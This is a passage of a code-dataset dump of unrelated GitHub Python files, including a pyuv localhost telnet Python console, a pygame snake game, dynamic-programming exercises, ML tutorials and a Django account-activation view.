Xml_List_Context.append(data)\r\nprint(\"hello\")","repo_name":"zhangoneone/Xml_Find","sub_path":"Find_String_in_Xml.py","file_name":"Find_String_in_Xml.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"19887106529","text":"\"\"\"Module for the use case \"Delete Training Definition\".\"\"\"\nfrom dataclasses import dataclass\n\nfrom kwai.modules.training.trainings.training_definition import (\n    TrainingDefinitionIdentifier,\n)\nfrom kwai.modules.training.trainings.training_definition_repository import (\n    TrainingDefinitionRepository,\n)\nfrom kwai.modules.training.trainings.training_repository import TrainingRepository\n\n\n@dataclass(kw_only=True, frozen=True, slots=True)\nclass DeleteTrainingDefinitionCommand:\n    \"\"\"Input for the use case DeleteTrainingDefinition.\"\"\"\n\n    id: int\n    delete_trainings: bool = False\n\n\nclass DeleteTrainingDefinition:\n    \"\"\"Use case \"Delete Training Definition\".\n\n    When delete_trainings is True, Trainings that are related to this definition,\n    will be. When False, the training will be updated.\n    \"\"\"\n\n    def __init__(\n        self, repo: TrainingDefinitionRepository, training_repo: TrainingRepository\n    ):\n        \"\"\"Initialize the use case.\n\n        Args:\n            repo: A repository for deleting a training definition.\n            training_repo: A repository for deleting or updating a training(s).\n        \"\"\"\n        self._repo = repo\n        self._training_repo = training_repo\n\n    async def execute(self, command: DeleteTrainingDefinitionCommand):\n        \"\"\"Execute the use case.\n\n        Raises:\n            TrainingDefinitionNotFoundException when the training definition\n            does not exist.\n        \"\"\"\n        training_definition = await self._repo.get_by_id(\n            TrainingDefinitionIdentifier(command.id)\n        )\n\n        await self._training_repo.reset_definition(\n            training_definition, command.delete_trainings\n        )\n\n        await self._repo.delete(training_definition)\n","repo_name":"fbraem/kwai","sub_path":"backend/src/kwai/modules/training/delete_training_definition.py","file_name":"delete_training_definition.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"7433119446","text":"import sys\r\nsys.path.append('C:\\\\Users\\\\mike\\\\sphinx\\\\dims_rev\\\\docs\\\\examples\\\\dims')\r\n\r\nfrom PIL import Image, ImageDraw\r\nfrom DimLinesPIL import int_up, polar2cart\r\nfrom DimLinesAA import DashedLineAA\r\n\r\n'''\r\ndef DashedLineAA(drawl, pta, ptb, dash=(5,5), fill=(0,0,0), back=(255,255,221),\r\n                    adjust=False):\r\n    # check dash input\r\n    if len(dash)%2 == 0 or len(dash) ==1:\r\n        pass\r\n    else:\r\n        raise Exception('The dash tuple: {} should be one or an equal number '\\\r\n                    'of entries'.format(dash))\r\n    dash = dash + dash if len(dash) == 1 else dash\r\n\r\n    x0, y0 = pta\r\n    x1, y1 = ptb\r\n    dx = (x1 - x0)\r\n    dy = (y1 - y0)\r\n\r\n    if adjust is True:\r\n        slope = atan2(dy, dx)\r\n        slope = slope if slope >= 0 else (2*pi + slope)\r\n\r\n    dx = abs(dx)\r\n    dy = abs(dy)\r\n\r\n    pattern = []\r\n    # use extend rather than append\r\n    while len(dash) > 0:\r\n        dash0, *dash = dash\r\n        if adjust is True:\r\n            dash0 = abs(int_up(dash0*cos(slope) if dx >= dy else dash0*sin(slope)))\r\n        pattern.extend([1] * dash0) # dashes\r\n        dash0, *dash = dash\r\n        if adjust is True:\r\n            dash0 = abs(int_up(dash0*cos(slope) if dx >= dy else dash0*sin(slope)))\r\n        pattern.extend([0] * dash0) # spaces\r\n\r\n    if not pattern:\r\n        pattern.append(1)\r\n    len_pattern = len(pattern)\r\n    count = 0\r\n\r\n    sx = 1 if x0 < x1 else -1\r\n    sy = 1 if y0 < y1 else -1\r\n\r\n    err = dx - dy\r\n    ed = dx + dy\r\n    ed = 1 if ed == 0 else sqrt(dx*dx+dy*dy) # max(dx, dy)\r\n\r\n    dr = dx + 1 if dx > dy else dy + 1\r\n\r\n    def contrast(comp, size,j):\r\n        return 255 if comp == 255 else int((255-comp) * j / size) + comp\r\n\r\n    diffs = defaultdict(list)\r\n    diffs = defaultdict(lambda:back, diffs)\r\n    for i in range(int(ed)+1):\r\n        if fill == (0,0,0):\r\n            diffs[i] = tuple(int(255*i/ed) for j in range(3))\r\n        else:\r\n            diffs[i] = tuple(contrast(fill[j],ed,i) for j in range(3))\r\n\r\n    for x in range (dr):\r\n        if pattern[count] == 1:\r\n            drawl.point([x0, y0], fill=diffs[abs(err-dx+dy)])\r\n        e2 = err<<1\r\n        x2 = x0\r\n\r\n        if e2 >= -dx:           # y-step\r\n            if e2+dy < ed and pattern[count] == 1:\r\n                drawl.point([x0,y0+sy], fill=diffs[abs(e2+dy)])\r\n            err -= dy\r\n            x0 += sx\r\n\r\n        if e2 <= dy:      # x-step\r\n            if dx-e2 < ed and pattern[count] == 1:\r\n                drawl.point([x2+sx,y0], fill=diffs[abs(dx-e2)])\r\n            err += dx\r\n            y0 += sy\r\n        count = count + 1 if count < len_pattern -1 else 0\r\n'''\r\nif __name__ == \"__main__\":\r\n\r\n    start_pos = (100, 100)\r\n    a = (30,29)\r\n    b=(187,150)\r\n\r\n    w, h = 205, 205 # 200, 200\r\n    back = (255,255,221)\r\n    image = Image.new('RGB', (w,h), back)\r\n\r\n    draw = ImageDraw.Draw(image)\r\n\r\n    dash = (7,1,1,1)\r\n\r\n    for i in range(0,360,5):\r\n        end_pos = polar2cart(start_pos, i, 100)\r\n        DashedLineAA(draw, start_pos, end_pos, dash=dash,\r\n                fill=(255-int_up(i*0.7),0,int_up(i*0.7)), adjust=True)\r\n\r\n    #DashedLineAA(draw, a, b, dash=dash)\r\n    #bres(draw, a, b, fill='red')\r\n\r\n    image.show()\r\n    #image.save('../../temp/DashedLineAA_adj.png')","repo_name":"Edgar-Donk/PIL-dimensions","sub_path":"docs/examples/aadims/test_line_aa_dashed.py","file_name":"test_line_aa_dashed.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33315586673","text":"def summa(*args):\n    s = 0\n    for i in args:\n        s += i\n    print('Сумма равна ',s)\n    \n\nsumma(5, 6, 7, 87, 756)\n\ndef say_hello(**kwargs):\n    for key, value in kwargs.items():\n        print(key,value)\n\nsay_hello(Иван='Иванов', Петя='Петров')","repo_name":"ilya2003/python","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23476446160","text":"def codebreaker_guess(lst_color):\n    print('\\nThe game color options are: red, yellow, blue, green, pink and purple.\\n')\n\n    user_code_choice = input(\"Enter four colors separated by a SINGLE SPACE: \\n\").upper()\n    user_choice = user_code_choice.split()\n\n    while any(item not in lst_color for item in user_choice) == True or len(user_choice) != 4:\n        user_code_choice = input(\"Try again: Enter four colors from the list separated by a SINGLE SPACE: \\n\").upper()\n        user_choice = user_code_choice.split()\n\n    return user_choice","repo_name":"python-basic-abreualberto/python_basics","sub_path":"lab-refactoring/refactor_lab/cb_guess.py","file_name":"cb_guess.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"10862390561","text":"# -*- encoding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport sys\nimport code\nimport signal\nimport pyuv\nfrom cStringIO import StringIO\n\nclass TelnetConsole(code.InteractiveInterpreter):\n\tdef __init__(self, conn):\n\t\t#super(TelnetConsole, self).__init__()\n\t\tcode.InteractiveInterpreter.__init__(self)\n\t\tself.resetbuffer()\n\t\tself.conn = conn\n\n\tdef resetbuffer(self):\n\t\tself.buf = []\n\n\tdef push(self, line):\n\t\tself.buf.append(line)\n\t\tsource = \"\\n\".join(self.buf)\n\t\tmore = self.runsource(source, \"<console>\")\n\t\tif not more:\n\t\t\tself.resetbuffer()\n\t\treturn more\n\n\tdef write(self, data):\n\t\tself.conn.write(data)\n\n\tdef writeWelcome(self):\n\t\tcprt = 'Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.'\n\t\tself.write(\"Python %s on %s\\n%s\\n(%s)\\n\" % (sys.version, sys.platform, cprt, self.__class__.__name__))\n\t\tself.writePrompt(0)\n\n\tdef writePrompt(self, more):\n\t\tif more:\n\t\t\tprompt = '... '\n\t\telse:\n\t\t\tprompt = '>>> '\n\t\tself.write(prompt)\n\n\tdef handleData(self, line):\n\t\tencoding = getattr(sys.stdin, \"encoding\", None)\n\t\tif encoding and not isinstance(line, unicode):\n\t\t\tline = line.decode(encoding)\n\n\t\tstdoutBuff = StringIO()\n\t\told = sys.stdout\n\t\tsys.stdout = stdoutBuff\n\t\tmore = self.push(line)\n\t\tself.write(stdoutBuff.getvalue())\n\t\tsys.stdout = old\n\n\t\tself.writePrompt(more)\n\nclass Connection(object):\n\tdef __init__(self, server, handle):\n\t\tself.server = server\n\n\t\tself.clientHandle = handle\n\t\tself.clientHandle.start_read(self.onRead)\n\n\t\tself.console = TelnetConsole(self)\n\t\tself.console.writeWelcome()\n\n\tdef onRead(self, handle, data, error):\n\t\tif data is None:\n\t\t\tprint('client closed:', self.clientHandle.getpeername())\n\t\t\tself.clientHandle.close()\n\t\t\tself.server.removeConnection(self)\n\t\t\treturn\n\n\t\tself.console.handleData(data)\n\n\tdef write(self, data):\n\t\tself.clientHandle.write(data)\n\n\tdef close(self):\n\t\tself.clientHandle.close()\n\nclass Acceptor(object):\n\tdef __init__(self, server, endpoint):\n\t\tself.server = server\n\n\t\tloop = pyuv.Loop.default_loop()\n\t\tself.listenHandle = pyuv.TCP(loop)\n\t\tself.listenHandle.bind(endpoint)\n\t\tself.listenHandle.listen(self.onConnection)\n\n\tdef close(self):\n\t\tself.listenHandle.close()\n\n\tdef onConnection(self, handle, error):\n\t\tloop = pyuv.Loop.default_loop()\n\t\tclientHandle = pyuv.TCP(loop)\n\t\tself.listenHandle.accept(clientHandle)\n\n\t\tconn = Connection(self.server, clientHandle)\n\t\tself.server.addConnection(conn)\n\n\t\tprint('new client from:', clientHandle.getpeername())\n\nclass TelnetConsoleServer(object):\n\tdef __init__(self, endpoint):\n\t\tloop = pyuv.Loop.default_loop()\n\t\tself.acceptor = Acceptor(self, endpoint)\n\n\t\tself.signalHandle = pyuv.Signal(loop)\n\t\tself.signalHandle.start(self.onSignal, signal.SIGINT)\n\n\t\tself.connections = []\n\t\tself.endpoint    = endpoint\n\t\n\tdef run(self):\n\t\tprint('TelnetConsole runs on %s' % str(self.endpoint))\n\t\tloop = pyuv.Loop.default_loop()\n\t\tloop.run()\n\n\tdef onSignal(self, handle, signum):\n\t\t[conn.close() for conn in self.connections]\n\t\tself.acceptor.close()\n\t\tself.signalHandle.close()\n\t\tprint('bye!')\n\n\tdef addConnection(self, conn):\n\t\tself.connections.append(conn)\n\n\tdef removeConnection(self, conn):\n\t\tself.connections.remove(conn)\n\nif __name__ == '__main__':\n\tserver = TelnetConsoleServer(('127.0.0.1', 8888))\n\tserver.run()\n\n","repo_name":"kasicass/kasicass","sub_path":"libuv/pyuv/99-telnet-console-server.py","file_name":"99-telnet-console-server.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"47"}
{"seq_id":"73372877901","text":"# The first Neural Networks code I write on my own :D\nimport numpy as np\n\nnp.random.seed(1)\n    \ndef SigmoidL(x):\n    for i in range(len(x)):\n        x[i] = 1/(1+np.exp(-x[i]))\n    return x\n\nX = [[0, 0, 1],\n     [1, 1, 1],\n     [1, 0, 1],\n     [0, 1, 1]]\n\ny = [0, 1, 1, 0]\n\nweights = np.random.randn(3)*0.10\nbias = 0\n\niters = 20000\n\nprint(\"Starting Weights: \")\nprint(weights)\n\nfor iter in range(iters):\n    sit = np.dot(X, weights)+bias\n    outputs = SigmoidL(sit)\n    error = y - outputs\n    adj = np.dot(np.dot(sit, (1 - sit.T)),np.dot(error, X))\n    weights += adj\n    \nprint(\"Weights now: \")\nprint(weights)\nprint(SigmoidL(np.dot(X, weights)+bias))\n\n\n# The code on one input sample that I coded first:\n\n'''X = [1,0,1]\n\ny = 1\n\nw = np.random.randn(3)*0.10\n\nb = 0\n\nprint(\"Weight:\")\nprint(w)\nprint(np.dot(X,w))\n\niters = 200\n\nfor it in range(iters):\n    sit = np.dot(X,w)+b\n    out = Sigmoid(sit)\n    error = y - out\n    adj = np.dot(X,error)*sit*(1-sit)\n    w+=adj\n    print(\"In \"+str(it))\n    print(w)\n    print(X*w)'''\n","repo_name":"EjHam98/LearningMachineLearning","sub_path":"NeuralNetworksPerceptron.py","file_name":"NeuralNetworksPerceptron.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1498422553","text":"x = \"abcdgh\"\ny = \"abedfhr\"\n\n\ndef lcs(x, y, n, m):\n    if n == 0 or m == 0:\n        return 0\n    if x[n - 1] == y[m - 1]:\n        return lcs(x, y, n - 1, m - 1) + 1\n    else:\n        return max(lcs(x, y, n - 1, m), lcs(x, y, n, m - 1))\n\n\n# print(lcs(x, y, len(x), len(y)))\n\nmemo = [[-1 * (1000 + 1)] * (1000 + 1)]\n\n\ndef lcs_memoize(x, y, n, m):\n    if n == 0 or m == 0:\n        return 0\n    if memo[n][m] != -1:\n        return memo[n][m]\n    if x[n - 1] == y[m - 1]:\n        memo[n][m] = lcs(x, y, n - 1, m - 1) + 1\n        return memo[n][m]\n    else:\n        memo[n][m] = max(lcs(x, y, n - 1, m), lcs(x, y, n, m - 1))\n        return memo[n][m]\n\n\n# print(lcs_memoize(x, y, len(x), len(y)))\n\ndef lcs_dp(s1, s2):\n    dp = [[0]*(len(s2)+1) for _ in range(len(s1)+1)]\n    for i in range(1,len(s1)+1):\n        for j in range(1,len(s2)+1):\n            if s1[i-1] == s2[j-1]:\n                dp[i][j] = 1 + dp[i-1][j-1]\n            else:\n                dp[i][j] = max(dp[i][j-1], dp[i-1][j])\n    for i in range(len(s1)+1):\n        print(dp[i])\n    return dp[-1][-1]\n\nlcs_dp(\"abcde\", \"ace\")","repo_name":"amrithajayadev/misc","sub_path":"strings/longest_common_subsequence.py","file_name":"longest_common_subsequence.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3673914318","text":"#! /usr/bin/python3\n\nimport pygame, time, random\n\n\nclass Wormy:\n\n    def __init__(self, screen):\n        self.outside = (0,100,0)\n        self.inside = (0,255,0)\n        self.red = (255,0,0)\n        self.screen = screen\n\n    def worm2(self, worm, width, height):\n        for segment in worm:\n            index = worm.index(segment)\n            if index == 0:\n                pygame.draw.rect(self.screen, (0,0,255), (segment[0], segment[1], width, height))\n                pygame.draw.rect(self.screen, (0,100,255), (segment[0] + 3, segment[1] + 3, width - 6, height - 6))\n            else:\n                pygame.draw.rect(self.screen, self.outside, (segment[0], segment[1], width, height))\n                pygame.draw.rect(self.screen, self.inside, (segment[0] + 3, segment[1] + 3, width - 6, height - 6))\n\n    def apple(self, x, y, width, height):\n        apple = pygame.draw.rect(self.screen, self.red, (x,y,width, height))\n        return apple\n\n    def grid(self, screen_height, screen_width, speed):\n        for x in range(0,screen_width, speed):\n            pygame.draw.line(self.screen, (93,93,93), (x,0), (x,screen_height))\n        for y in range(0,screen_height, speed):\n            pygame.draw.line(self.screen, (93,93,93), (0,y), (screen_width, y))\n\n    def score(self, size):\n        score = len(size) - 3\n        score = pygame.sysfont.SysFont(\"Helvetica\", 20, bold=True).render(\"Score: \" + str(score), True, (255,255,255))\n        self.screen.blit(score, (self.screen.get_width()- 150, 10))\n\n    def presskeytext(self):\n        text = pygame.sysfont.SysFont(\"Helvetica\", 18).render(\"Press a key to play.\", True, (93,93,93))\n        textrect = text.get_rect()\n        textrect.topleft = (self.screen.get_width() - 200, self.screen.get_height() - 30)\n        self.screen.blit(text, textrect)\n\n\ncontinue_game = True\nstart = True\n\nwhile continue_game:\n    # Colors\n    background = (0,0,0)\n    white = (255,255,255)\n    green = (0,255,0)\n    dark_green = (0,100,0)\n\n    # Initiate Game\n    pygame.init()\n    screen = pygame.display.set_mode([500, 500])\n\n    # Speed\n    fps = 0.1\n\n    # Worm\n    Direction = \"Right\"\n    tail = []\n    x = 100\n    y = 100\n    speedx = 20\n    speedy = 20\n    length = 0\n\n    # Apple\n    apple_posx = random.randrange(0, screen.get_width() - speedx, speedx)\n    apple_posy = random.randrange(0,screen.get_height() - speedy, speedy)\n    wait = 0\n    size = [[x,y],[x + 1,y],[x + 2,y]]\n    run_game = True\n    game_over = True\n    degrees_slow = 0\n    degrees_fast = 0\n\n\n    while start:\n        screen.fill(background)\n        Wormy(screen).presskeytext()\n        worm_slow = pygame.sysfont.SysFont(\"Helvetica\", 100,bold=True).render(\"Wormy!\", True, white, dark_green)\n        worm_fast = pygame.sysfont.SysFont(\"Helvetica\", 100, bold=True).render(\"Wormy!\", True, green)\n        rotate_slow = pygame.transform.rotate(worm_slow, degrees_slow)\n        rotate_fast = pygame.transform.rotate(worm_fast, degrees_fast)\n        rotate_slow_rect = rotate_slow.get_rect()\n        rotate_fast_rect = rotate_fast.get_rect()\n        rotate_slow_rect.center = (round(screen.get_width() / 2), round(screen.get_height() / 2))\n        rotate_fast_rect.center = (round(screen.get_width() / 2), round(screen.get_height() / 2))\n        screen.blit(rotate_slow, rotate_slow_rect)\n        screen.blit(rotate_fast, rotate_fast_rect)\n        pygame.display.update()\n        pygame.time.Clock().tick(20)\n        degrees_slow += 3\n        degrees_fast += 7\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                start = False\n                run_game = False\n                game_over = False\n                continue_game = False\n            if event.type == pygame.KEYDOWN:\n                start = False\n    screen = pygame.display.set_mode([700,700])\n    while run_game:\n        screen.fill(background)\n        Wormy(screen).grid(screen.get_height(), screen.get_width(), speedx)\n        apple = Wormy(screen).apple(apple_posx, apple_posy, speedx, speedy)\n        worm = Wormy(screen).worm2(size, speedx, speedy)\n        Wormy(screen).worm2(size, speedx, speedy)\n        Wormy(screen).score(size)\n        check_collide = apple.collidepoint(size[0][0], size[0][1])\n        if check_collide:\n            length += speedx\n            apple_posx = random.randrange(0, screen.get_width() - speedx, speedx)\n            apple_posy = random.randrange(0, screen. get_height() - speedy, speedy)\n        else:\n            del size[-1]\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                run_game = False\n                continue_game = False\n                game_over = False\n            if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_w:\n                    if Direction != \"Down\":\n                        Direction = \"UP\"\n                elif event.key == pygame.K_s:\n                    if Direction != \"UP\":\n                        Direction = \"Down\"\n                elif event.key == pygame.K_a:\n                    if Direction != \"Right\":\n                        Direction = \"Left\"\n                elif event.key == pygame.K_d:\n                    if Direction != \"Left\":\n                        Direction = \"Right\"\n\n        if x < 0 or y < 0 or x > screen.get_width() or y > screen.get_height():\n            run_game = False\n\n        if Direction == \"UP\":\n            y -= speedy\n            size.insert(0,[x,y])\n        elif Direction == \"Down\":\n            y += speedy\n            size.insert(0,[x,y])\n        elif Direction == \"Left\":\n            x -= speedx\n            size.insert(0,[x,y])\n        elif Direction == \"Right\":\n            x += speedy\n            size.insert(0,[x,y])\n\n        pygame.display.update()\n        wait += 1\n        if wait == 4:\n            wait = 0\n        time.sleep(fps)\n    while game_over:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                continue_game = False\n                game_over = False\n\n            if event.type == pygame.KEYDOWN:\n                game_over = False\n\n        gametext = pygame.sysfont.SysFont(\"Helvetica\", 150, bold=True).render(\"Game\", True, white)\n        overtext = pygame.sysfont.SysFont(\"Helvetica\", 150, bold=True).render(\"Over\", True, white)\n        game_rect = gametext.get_rect()\n        over_rect = overtext.get_rect()\n        game_rect.midtop = (round(screen.get_width() / 2), round(screen.get_height() / 2) - game_rect.height)\n        over_rect.midtop = (round(screen.get_width() / 2), game_rect.height + 150)\n        screen.blit(gametext, game_rect)\n        screen.blit(overtext, over_rect)\n        Wormy(screen).presskeytext()\n        pygame.display.update()\n        pygame.time.wait(1)\n","repo_name":"Linuxious/2D-Games","sub_path":"Wormy/wormy.py","file_name":"wormy.py","file_ext":"py","file_size_in_byte":6743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14440308596","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUdemy:\nMachine Learning A-Z\n\nSection 4 - Simple Linear Regression\n\"\"\"\n\nimport os\nos.chdir(\"C:\\\\Users\\\\hz336yw\\\\Downloads\\\\Machine_Learning_AZ\\\\Machine-Learning-A-Z-New\\\\Machine Learning A-Z New\\\\Part 2 - Regression\\\\Section 4 - Simple Linear Regression\")\n\n# Import data\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata = pd.read_csv(\"Salary_Data.csv\")\n\n# Split the data to independent(years of experience) and dependend variables(salary)\nX = data.iloc[:, :-1].values \ny = data.iloc[:, 1].values\n\n# Split to train and test sets\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0)\n\n# Fitting a Linear Regression model to the training data\nfrom sklearn.linear_model import LinearRegression\nlinear_regressor = LinearRegression()\nlinear_regressor.fit(X_train, y_train)\n\n# Predicting values for the test set\ny_hat = linear_regressor.predict(X_test)\n\n# Visualising the results\n# Training Set\nplt.figure(figsize=(10,6))\n\nplt.scatter(X_train, y_train, color = 'red', label = 'Real values (yi)')\nplt.plot(X_train, linear_regressor.predict(X_train), color = 'blue', label = 'Estimated Regression Line, f(x) = b0 +b1*x') # estimated regression line\nplt.title(\"Salary($) vs Years of Experience (Training set)\")\nplt.xlabel(\"Years of Experience\")\nplt.ylabel(\"Salary\")\nplt.grid(True)\nplt.legend(loc = 'best')\nplt.show()\n\n# Test Set\nplt.figure(figsize=(10,6))\n\nplt.scatter(X_test, y_test, color = 'red', label = 'Real values (yi)')\nplt.plot(X_train, linear_regressor.predict(X_train), color = 'blue', label = 'Estimated Regression Line, f(x) = b0 +b1*x') # estimated regression line\nplt.title(\"Salary($) vs Years of Experience (Test set)\")\nplt.xlabel(\"Years of Experience\")\nplt.ylabel(\"Salary\")\nplt.grid(True)\nplt.legend(loc = 'best')\nplt.show()  \n\n# Evaluate performance\n# Methods: MAE, MSE, RMSE\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error\n\nmae = mean_absolute_error(y_test, y_hat)\nmse = mean_squared_error(y_test, y_hat)\n\nprint('Mean Absolute Error: {0}'.format(mae))  \nprint('Mean Squared Error: {0}'.format(mse)) \nprint('Root Mean Squared Error: {0}'.format(np.sqrt(mse)))\n\nfrom sklearn.metrics import r2_score\nprint('R-squared: {0}'.format(r2_score(y_test, y_hat)))\n","repo_name":"gpsyrou/Machine_Learning_AZ","sub_path":"Regression/Simple Linear Regression/SimpleLinearRegression.py","file_name":"SimpleLinearRegression.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1717687202","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def rangeSumBST(self, root: Optional[TreeNode], low: int, high: int) -> int:\n        result = 0\n        \n        # void based recursion\n        def helper(root, low, high):\n            nonlocal result\n            # base case\n            if root is None:\n                return\n            \n            # logic\n            if root.left is not None and root.val>=low:\n                helper(root.left, low, high)\n            if root.val >= low and root.val <= high:\n                result+=root.val\n            if root.right is not None and root.val<high:\n                helper(root.right, low, high)\n        \n        # integer based recursion\n        def helper2(root, low, high):\n            # base case\n            if root is None:\n                return 0\n            \n            # logic\n            temp, left, right =0, 0,0\n            if root.left is not None and root.val>low:\n                left = helper2(root.left, low, high)\n            if root.val >= low and root.val <= high:\n                temp = root.val\n            if root.right is not None and root.val<high:\n                right = helper2(root.right, low, high)\n            return temp+left+right\n        \n        # Iterative method\n        stk = []\n        stk.append(root)\n        while stk:\n            root = stk.pop()\n            if root.val >= low and root.val <= high:\n                result+=root.val\n            if root.right is not None:\n                stk.append(root.right)\n            if root.left is not None:\n                stk.append(root.left)\n            \n        # return helper2(root, low, high)\n        # helper(root, low, high)\n        return result","repo_name":"rasika-1405/Daily-LeetCode-Problems","sub_path":"0938-range-sum-of-bst/0938-range-sum-of-bst.py","file_name":"0938-range-sum-of-bst.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"39801892132","text":"#Decision Tree Regression\n\"\"\"\nCreated on Mon Sep  4 14:53:31 2017\n@author: Luiz Nachtigall\n\"\"\"\n#Librarys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n#Reading files with pandas\ndataset = pd.read_csv('Position_Salaries.csv')\nX = dataset.iloc[:,1:-1].values\nY = dataset.iloc[:, -1].values\n\n#Splittin the dataset into Training set and Test set\n\n#Featuring Scaling\n\n#Fitting the Decision Tree Regression to the dataset\nfrom sklearn.tree import DecisionTreeRegressor\nregressor = DecisionTreeRegressor(random_state = 0)\nregressor.fit(X, Y)\n\n# Predicting a new result\nY_pred = regressor.predict(6,5)\n\n#Visualisation com poucos pontos ocorre uma inducao erronea no grafico\nplt.scatter(X,Y,color = 'red')\nplt.plot(X, regressor.predict(X),color = 'blue')\nplt.title(\"Decision Tree Regression (somente dados)\")\nplt.xlabel(\"Time Exp (years)\")\nplt.ylabel(\"Salary ($Dollar)\")\nplt.show()\n\n#Visualisation Tree com a precisao correta\n\nplt.scatter(X,Y,color = 'red')\nX_grid = np.arange(min(X),max(X), 0.1)\nX_grid = X_grid.reshape((len(X_grid), 1))\nplt.plot(X_grid, regressor.predict(X_grid),color = 'blue')\nplt.title(\"Decision Tree Regression (comportamento no intervalo)\")\nplt.xlabel(\"Time Exp (years)\")\nplt.ylabel(\"Salary ($Dollar)\")\nplt.show()\n","repo_name":"LuizNach/somepythonprojects","sub_path":"Embrapa/Machine Learning A-Z Template Folder/Part 2 - Regression/Section 8 - Decision Tree Regression/myDecisionTreeReg.py","file_name":"myDecisionTreeReg.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27465837272","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def averageOfLevels(self, root: Optional[TreeNode]) -> List[float]:\n        ans = []\n        \n        queue = collections.deque([root])\n        \n        while queue:\n            sn, n = 0, 0\n            for _ in range(len(queue)):\n                node = queue.popleft()\n                \n                sn += node.val\n                n += 1\n                \n                if node.left:\n                    queue.append(node.left)\n\n                if node.right:\n                    queue.append(node.right)\n                    \n            ans.append(float(sn/n))\n            \n        return ans\n","repo_name":"jongheonleee/Leetcode","sub_path":"637-average-of-levels-in-binary-tree/637-average-of-levels-in-binary-tree.py","file_name":"637-average-of-levels-in-binary-tree.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"9364052552","text":"import random\nj = 1\nt = 0\nc = 5\nwhile j != c:\n    c = random.randint(0,5)\n    j = int(input('Digite um número entre 0 e 5: '))\n    print('Pensamos em números diferentes')\n    t += 1\nprint('Depois de {} tentativas você acertou o número que eu estava pensando.'.format(t))","repo_name":"pedrovs16/PythonEx","sub_path":"ex058.py","file_name":"ex058.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2340823093","text":"import json\nimport logging\nimport os\nimport pandas as pd\nfrom pathlib2 import Path\n\n# Django modules\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.core.files.storage import default_storage\nfrom django.http import HttpResponseRedirect, HttpResponse, JsonResponse\nfrom django.shortcuts import render, render_to_response\nfrom django.template import RequestContext\nfrom django.utils.crypto import get_random_string\n\n# Database models\nfrom datacenter.models import (UserProfile, AffiliatedCompany, UploadDocuments, \n    EmailVerification, Advisor, CompanyAdvisorMapping)\n\n# Local Imports\nfrom signup.djmail import send_mandrill_email\nfrom common import constants\nfrom common.views import logme, create_user_from_uploaded_file\nfrom company.tasks import bulk_advisor_data_creation\nfrom company.serializers import BulkAdvisorDataSerializer\n\n# Constatns\nfrom common.api_constants import NEXT_URL_LINK\n\nlogger = logging.getLogger(__name__)\n\ndef index(request):\n    '''\n    Descrption:On clcik of company activation link we are navigating to Registration form.\n    '''\n    context_dict = { 'PRODUCT_NAME' : settings.PRODUCT_NAME }\n    context = RequestContext(request)\n    user = request.session.get('user')\n    if request.method == 'GET':\n        try:\n            activation_key = request.GET['ack']\n            verification = EmailVerification.objects.get(activation_key=request.GET['ack'])\n            logger.info(\n                logme(\"company activation link verified\",request)\n            )\n        except:\n            logger.info(\n                logme(\"company activation link may be wrong or expired\",request)\n            )\n            return HttpResponse(\"Activation link may be wrong or expired\")\n        user_auth_obj= User.objects.get(username=verification.user_profile.user.username)\n        user_profile = ''\n        user_profile = UserProfile.objects.filter(user = user_auth_obj)\n        if user_profile:\n            user_profile = user_profile[0]\n        company = ''\n        company = AffiliatedCompany.objects.filter(user_profile = user_profile)\n        if company:\n            company = company[0]\n        request.session['user'] = user_auth_obj.username\n        logger.info(\n            logme(\"company user=%s redirected to company registration form after \\\n                activation\"%(str(company)),request)\n      